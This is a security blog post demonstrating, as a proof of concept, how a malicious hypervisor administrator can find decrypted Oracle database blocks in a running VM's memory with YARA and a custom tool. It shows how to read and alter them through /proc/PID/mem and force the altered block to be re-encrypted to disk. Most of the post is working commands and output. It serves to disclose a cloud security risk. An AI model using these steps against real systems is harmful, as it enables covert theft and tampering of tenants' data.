So you have migrated your databases to cloud and you want to feel a bit more secure – what do you do?
Of course you follow the golden rule and you encrypt you tablespaces. That’s reasonable and that’s what vendor recommends.
All databases created in Oracle Cloud Infrastructure are encrypted using transparent data encryption (TDE). Note that if you migrate an unencrypted database from on-premise to Oracle Cloud Infrastructure using RMAN, the migrated database will not be encrypted. Oracle requires encrypting such databases after migrating them to the cloud.
https://docs.oracle.com/en-us/iaas/Content/Security/Reference/dbaas_security.htm
But is it enough to feel secure? Is it enough to satisfy your security sense?
You may already read my articles about virtualization/cloud security:
In these series of articles I’m trying to impersonate an evil Cloud administrator, who is willing to steel tenants data. Up until now I’ve been describing technics of reading encrypted data from the virtual machine dump.
In this article we will go a bit further – we will read data from running virtual machine directly and we will change them without leaving a trace!
We will need two tools: YARA and RICO2
First, let’s check the configuration of the victim database:
SQL> select tb.tablespace_name, tb.ENCRYPTED
2 from dba_tablespaces tb, dba_tables t
3 where tb.tablespace_name=t.tablespace_name
4 and t.table_name='EMPLOYEES';
TABLESPACE_NAME ENC
------------------------------ ---
SECURE_DATA YES
As you can see the table we would want to attach is in encrypted tablespace.
To target this table we will have to know the data_object_id of the segment in order to target database blocks decrypted in memory. How can we obtain this information? We need to look for all database blocks of OBJ$ table.
Let’s try to do that from a virtualization host perspective.
At KVM level, our virtual machine is represented by a QEMU process:
[root@rapier-v ~]# export LIBVIRT_AUTH_FILE=/etc/ovirt-hosted-engine/virsh_auth.conf
[root@rapier-v ~]# virsh list
Id Name State
---------------------------
7 oel8.2_db running
10 19node1 running
[root@rapier-v ~]# ps aux | grep oel8.2_db
qemu 13877 61.1 25.2 8883324 4040340 ? Sl Feb01 11377:55 /usr/bin/qemu-system-x86_64 -name guest=oel8.2_db,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-7-oel8.2_db/master-key.aes -machine pc-i440fx-2.12,accel=kvm,usb=off,dump-guest-core=off -cpu SandyBridge -m size=4194304k,slots=16,maxmem=16777216k -overcommit mem-lock=off -smp 4,maxcpus=16,sockets=16,cores=1,threads=1 -object iothread,id=iothread1 -numa node,nodeid=0,cpus=0-3,mem=4096 -uuid 9d8ca6c0-a195-4ded-87c3-118b4ea3f027 -smbios type=1,manufacturer=oVirt,product=oVirt Node,version=7.9-1.0.9.el7,serial=dd3d1c20-e993-4db8-819f-49be6e41508a,uuid=9d8ca6c0-a195-4ded-87c3-118b4ea3f027 -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=41,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=2022-02-01T16:37:01,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device virtio-scsi-pci,iothread=iothread1,id=ua-37aaac61-0f0c-42f4-8fe9-da8a63a63af2,bus=pci.0,addr=0x3 -device virtio-serial-pci,id=ua-6f04fa2d-c593-40d3-a6da-12a9e389a618,max_ports=16,bus=pci.0,addr=0x4 -device ide-cd,bus=ide.1,unit=0,id=ua-40fff682-6ccf-4818-8d93-a5c479bdb624,bootindex=2,werror=report,rerror=report -blockdev {"driver":"file","filename":"/rhev/data-center/mnt/10.0.0.64:_ssd_ovirtshared/0c60969a-12a7-4c11-9fd0-be7b84ae2702/images/4ffec250-fb0e-498e-a70c-af8135903b49/0c2d909d-b248-46d1-ae0e-2906cbc4e8d8","aio":"threads","node-name":"libvirt-1-storage","cache":{"direct":true,"no-flush":false},"auto-read-only":true,"discard":"unmap"} -blockdev {"node-name":"libvirt-1-format","read-only":false,"cache":{"direct":true,"no-flush":false},"driver":"raw","file":"libvirt-1-storage"} -device scsi-hd,bus=ua-37aaac61-0f0c-42f4-8fe9-da8a63a63af2.0,channel=0,scsi-id=0,lun=0,device_id=4ffec250-fb0e-498e-a70c-af8135903b49,drive=libvirt-1-format,id=ua-4ffec250-fb0e-498e-a70c-af8135903b49,bootindex=1,write-cache=on,serial=4ffec250-fb0e-498e-a70c-af8135903b49,werror=stop,rerror=stop -netdev tap,fds=43:44:45:46,id=hostua-d4a3c2f7-eeed-4c2c-91b5-6bc91b96a419,vhost=on,vhostfds=47:48:49:50 -device virtio-net-pci,mq=on,vectors=10,host_mtu=1500,netdev=hostua-d4a3c2f7-eeed-4c2c-91b5-6bc91b96a419,id=ua-d4a3c2f7-eeed-4c2c-91b5-6bc91b96a419,mac=56:6f:ba:f8:00:00,bus=pci.0,addr=0x6 -chardev socket,id=charchannel0,fd=51,server,nowait -device virtserialport,bus=ua-6f04fa2d-c593-40d3-a6da-12a9e389a618.0,nr=1,chardev=charchannel0,id=channel0,name=ovirt-guest-agent.0 -chardev socket,id=charchannel1,fd=52,server,nowait -device virtserialport,bus=ua-6f04fa2d-c593-40d3-a6da-12a9e389a618.0,nr=2,chardev=charchannel1,id=channel1,name=org.qemu.guest_agent.0 -device usb-tablet,id=input0,bus=usb.0,port=1 -vnc 10.0.0.16:1,password -k en-us -device VGA,id=ua-38ed59e7-ed86-4ebb-9a88-5abe9b2e3d79,vgamem_mb=16,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=ua-9c3ea500-ec71-42d4-a2e8-5925aad29ae1,bus=pci.0,addr=0x5 -object rng-random,id=objua-3cad2e05-3153-4728-a38f-a8e715150fa7,filename=/dev/urandom -device virtio-rng-pci,rng=objua-3cad2e05-3153-4728-a38f-a8e715150fa7,id=ua-3cad2e05-3153-4728-a38f-a8e715150fa7,bus=pci.0,addr=0x7 -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny -msg timestamp=on
The memory of this process contains emulated memory of virtual machine. It is not easy to find appropriate structures inside, but we will use a trick – YARA. YARA is a malware scanner with Python API and I added YARA support in my RICO2 tool:
ef yara_scan(self, pid, data_object_id, more_str="N/A"):
try:
__import__('imp').find_module('yara')
import yara
if more_str == "N/A":
yara_rule_txt = "rule obj { strings: $hs = { 06a2 [0-201] 01000000" + hexlify(self.uint.pack(data_object_id)) + " } condition: $hs }"
rules = yara.compile(source=yara_rule_txt)
matches = rules.match(pid=pid)
for m in matches:
for s in m.strings:
print str(s[0]) + "\t" + hexlify(s[2])
if len(hexlify(s[2])) == 56:
self.yara_offsets.append(s[0])
except ImportError:
print "You don't have YARA installed!"
This little piece of code is using malware scanner to identify a database block pattern in memory – so the trick here is to treat database block as a malware 😉
Let’s try to find OBJ$ in memory:
>>> from rico2 import Rico
>>> r = Rico()
>>> r.PID=13877
>>> r.OBJ=18
>>> r.yara_scan(r.PID, r.OBJ)
From Python2 interactive console we are importing Rico2 and preparing the execution – PID will be set to a PID of QEMU process we want to scan for malware (database block) and OBJ is going to be set for 18, since this is DATA_OBJECT_ID of OBJ$ table.
The output will look like this:
140302891376640 06a200008e594000e050110000000104a52b00000100000012000000
140302894735360 06a2000089594000e050110000000104695200000100000012000000
140302899363840 06a200009f634000e2b01f0000000106f08200000100000012000000
140302900174848 06a200001820410000630f0000000106408800000100000012000000
140302900662272 06a20000a77340006a951b0000000106671900000100000012000000
140302905864192 06a20000387c40005b1a080000000204c29500000100000012000000
Those are offsets of found database blocks with matched pattern.
Now we can dump the found blocks to a text file:
>>> r.dump_rows(r.PID, "nnnc", "objects.out")
Dumping row: 66 block: 243 @ 140302951198720
Dumping row: 67 block: 243 @ 140302951198720
Dumping row: 68 block: 243 @ 140302951198720
Dumping row: 69 block: 243 @ 140302951198720
Dumping row: 70 block: 243 @ 140302951198720
Dumping row: 71 block: 243 @ 140302951198720
Dumping row: 72 block: 243 @ 140302951198720
Dumping row: 73 block: 243 @ 140302951198720
Dumping row: 74 block: 243 @ 140302951198720
(...)
What interests us is a table with a given name, that has OBJECT_ID different that DATA_OBJECT_ID, because it may suggest moving between tablespaces to encrypt data:
[root@rapier-v ~]# strings objects.out | awk '/EMPLOYEES/ {if($1 != $2) {print $0}}'
73746 *NULL* 107 EMPLOYEES_SEQ
73746 *NULL* 107 EMPLOYEES_SEQ
73751 75178 107 EMPLOYEES
Great! Now we know DATA_OBJECT_ID of desired table: 75178
We can find those blocks in memory:
>>> from rico2 import Rico
>>> r = Rico()
>>> r.PID=13877
>>> r.OBJ=75178
>>> r.yara_scan(r.PID, r.OBJ)
140210218827776 06a200008400c004ec09e4000000010420c7000001000000aa250100
140210223837184 06a200008300c00435c2e80000000106e3cf000001000000aa250100
I found 2 blocks – I can of course dump them to a file now, or browse manually the content of the blocks:
>>> r.get_block_memory(r.PID, r.yara_offsets[0])
DBA 0x4c00084 (79691908 19,132 @ 140210218827776)
>>> r.map()
File: N/A(19)
Block: 132 Dba: 0x4c00084
------------------------------------------------------------
DATA Table/Cluster
struct kcbh, 20 bytes @0
struct ktbbh, 96 bytes @20
struct kdbh, 14 bytes @124
struct kdbt[1], 4 bytes @138
sb2 kdbr[9] @142
ub1 freespace[7406] @160
ub1 rowdata[622] @7566
ub4 tailchk @8188
>>> r.get_block_memory(r.PID, r.yara_offsets[1])
DBA 0x4c00083 (79691907 19,131 @ 140210223837184)
>>> r.map()
File: N/A(19)
Block: 131 Dba: 0x4c00083
------------------------------------------------------------
DATA Table/Cluster
struct kcbh, 20 bytes @0
struct ktbbh, 96 bytes @20
struct kdbh, 14 bytes @124
struct kdbt[1], 4 bytes @138
sb2 kdbr[98] @142
ub1 freespace[850] @338
ub1 rowdata[7000] @1188
ub4 tailchk @8188
But what if I don’t want only to read memory but also modify it?
RICO2 can do this. Let’s examine the contents of the first row of a block with 98 rows:
>>> r.p_kdbr_data(0)
rowdata[6938] @8126 0x2c
-------------
flag@8126: 0x2c
lock@8127: 0x1
cols@8128: 11
col 0[2] @8129: c202
col 1[6] @8132: 53746576656e
col 2[4] @8139: 4b696e67
col 3[5] @8144: 534b494e47
col 4[12] @8150: 3531352e3132332e34353637
col 5[7] @8163: 78670611010101
col 6[7] @8171: 41445f50524553
col 7[3] @8179: c20551
col 8[0] @8183: *NULL*
col 9[0] @8184: *NULL*
col 10[2] @8185: c15b
>>> r.examine("/rncccctcnnnn")
rowdata[6938] @8126 0x2c
-------------
flag@8126: 0x2c
lock@8127: 0x1
cols@8128: 11
col 0[2] @8129: c202 100
col 1[6] @8132: 53746576656e Steven
col 2[4] @8139: 4b696e67 King
col 3[5] @8144: 534b494e47 SKING
col 4[12] @8150: 3531352e3132332e34353637 515.123.4567
col 5[7] @8163: 78670611010101 2003-06-17:00:00:00
col 6[7] @8171: 41445f50524553 AD_PRES
col 7[3] @8179: c20551 480
col 8[0] @8183: *NULL*
col 9[0] @8184: *NULL*
col 10[2] @8185: c15b 90
Well, this guys salary is extremely low – only 480 coins… Let’s change it! I feel particularly generous today!
>>> r.set_offset(8180)
>>> r.modify("c4", ".")
You want to modify block: 131 at offset: 8180
New value: c4
Are you sure? (Y/N) Y
Block data changed. To save changes set edit mode and type: save
>>> r.checksum(True)
checksum int = 53221
checksum hex = 0xcfe5
Block data changed. To save changes set edit mode and type: save
What happened here? We set offset to a value we want to change, than we changed it binary from original value (C2) to a new value :"C4″.
After that we had to recalculate the checksum of Oracle Database block.
Now, the new block data is in a variable, stored in object "r" in Python shell. How to overwrite a virtual machine memory?
It is ridiculously easy – virtual machine memory is mapped to a file called "mem" which resides in /proc/PID/ where PID is process ID of our QEMU emulator process!
And we know the offset of our block. So this is the only thing we have to do:
>>> f = open("/proc/" + str(r.PID) + "/mem", "rb+")
>>> f.seek(r.yara_offsets[1])
>>> f.write(r.block_data)
>>> f.close()
Is it that simple?! Let’s check the SQL*Plus:
SQL> select salary
2 from hr.employees
3 where employee_id=100;
SALARY
----------
4800000
WOW. Looks nice. So I have changed encrypted database block in SGA from OUTSIDE of the virtual machine! This is cool 🙂
But that’s not enough – is it possible to force Oracle to encrypt block and write it back to disk?
Of course it is! The attacker would have to have a bit of luck and knowledge of SGA structures.
We can find metadata of a block in buffer cache again with YARA 🙂
>>> r.yara_scan_bh(r.PID, r.OBJ)
140211443697440 aa2501000000000100200800000000
140211443789240 aa2501000000000100200800000000
140211443609960 aa2501000000000100200000000000
We found 3 entries, that can correspond to X$BH view.
We have to set a dirty flag in one of those structures. The block we have modified had ID: 0x4c00083, so in low endian it will be 8300c004.
yara_offsets_xbh contains an offset of DATA_OBJECT_ID found in X$BH structure. 8 bytes earlier we have a block ID.
>>> r.dump_memory_offset(r.PID, r.yara_offsets_xbh[0]-8, 4)
8300c004
>>> r.dump_memory_offset(r.PID, r.yara_offsets_xbh[1]-8, 4)
8400c004
>>> r.dump_memory_offset(r.PID, r.yara_offsets_xbh[2]-8, 4)
8200c004
As we can see, we are interested in the first found offset. We can now set a dirty flag 🙂
>>> r.set_dirty_flag_bh(r.PID, r.yara_offsets_xbh[0])
Let’s check if it works:
SQL> ; 1 select obj, addr, dbablk, flag, to_char(flag, 'XXXXXXXXXXX'), bitand(flag, 1), decode(bitand(flag,1), 0, 'N', 'Y'), ba, DIRTY_QUEUE,
2 decode(state,0,'free',1,'xcur',2,'scur',3,'cr', 4,'read',5,'mrec',6,'irec',7,'write',8,'pi', 9,'memory',10,'mwrite',11,'donated', 12,'protected', 13,'securefile', 14,'siop',15,'recckpt', 16, 'flashfree', 17, 'flashcur', 18, 'flashna') as state, state
3 from x$bh
4* where file#=19 and obj=75178
SQL> /
OBJ ADDR DBABLK FLAG TO_CHAR(FLAG BITAND(FLAG,1) D BA DIRTY_QUEUE STATE STATE
---------- ---------------- ---------- ---------- ------------ -------------- - ---------------- ----------- ---------- ----------
75178 00007F240B657E98 132 532480 82000 0 N 00000000CD486000 0 xcur 1
75178 00007F240B657E98 131 1 1 1 Y 00000000CD288000 0 xcur 1
75178 00007F240B657E98 130 8192 2000 0 N 00000000CD0A2000 0 xcur 1
Cool! We have set a dirty flag for our modified block!
And now we need a bit of luck, because the block has a dirty flag but it is not in a checkpoint queue. But if one of the other blocks of the table will be changed and it will appropriate block…
SQL> save cd replace
Wrote file cd.sql
SQL> update hr.employees
2 set salary=salary
3 where dbms_rowid.rowid_block_number(rowid)=132
4 and dbms_rowid.rowid_row_number(rowid)=0;
1 row updated.
SQL> commit;
Commit complete.
SQL> @cd
OBJ ADDR DBABLK FLAG TO_CHAR(FLAG BITAND(FLAG,1) D BA DIRTY_QUEUE STATE STATE
---------- ---------------- ---------- ---------- ------------ -------------- - ---------------- ----------- ---------- ----------
75178 00007F240B657E98 132 8193 2001 1 Y 00000000CB85C000 0 xcur 1
75178 00007F240B657D18 132 532480 82000 0 N 00000000CD486000 0 cr 3
75178 00007F240B657E98 131 1 1 1 Y 00000000CD288000 0 xcur 1
75178 00007F240B657E98 130 8192 2000 0 N 00000000CD0A2000 0 xcur 1
SQL> alter system checkpoint;
System altered.
SQL> @cd
OBJ ADDR DBABLK FLAG TO_CHAR(FLAG BITAND(FLAG,1) D BA DIRTY_QUEUE STATE STATE
---------- ---------------- ---------- ---------- ------------ -------------- - ---------------- ----------- ---------- ----------
75178 00007F240B657E98 132 2105344 202000 0 N 00000000CB85C000 0 xcur 1
75178 00007F240B657D18 132 532480 82000 0 N 00000000CD486000 0 cr 3
75178 00007F240B657E98 131 2105344 202000 0 N 00000000CD288000 0 xcur 1
75178 00007F240B657E98 130 8192 2000 0 N 00000000CD0A2000 0 xcur 1
WOW! Checkpoint cleared all of the flags! Let’s check if our first change is permanent:
SQL> alter system flush buffer_Cache;
System altered.
SQL> select salary
2 from hr.employees
3 where employee_id=100;
SALARY
----------
4800000
How awesome is this?!
We have managed to change an encrypted database block in the memory of virtual machine and force Oracle Database engine to encrypt it and write to disk!
Of course I’m not going to show how to automate this process… 😈
The purpose of this article is merely to prove that this attack is possible and that encryption of your data is just a good start for securing your database in the cloud. There is a lot more things to do if you want to feel a bit more secure against an evil cloud administrator.
Trust your vendor, but control and mislead – for the clouds are ephemeral and often leak.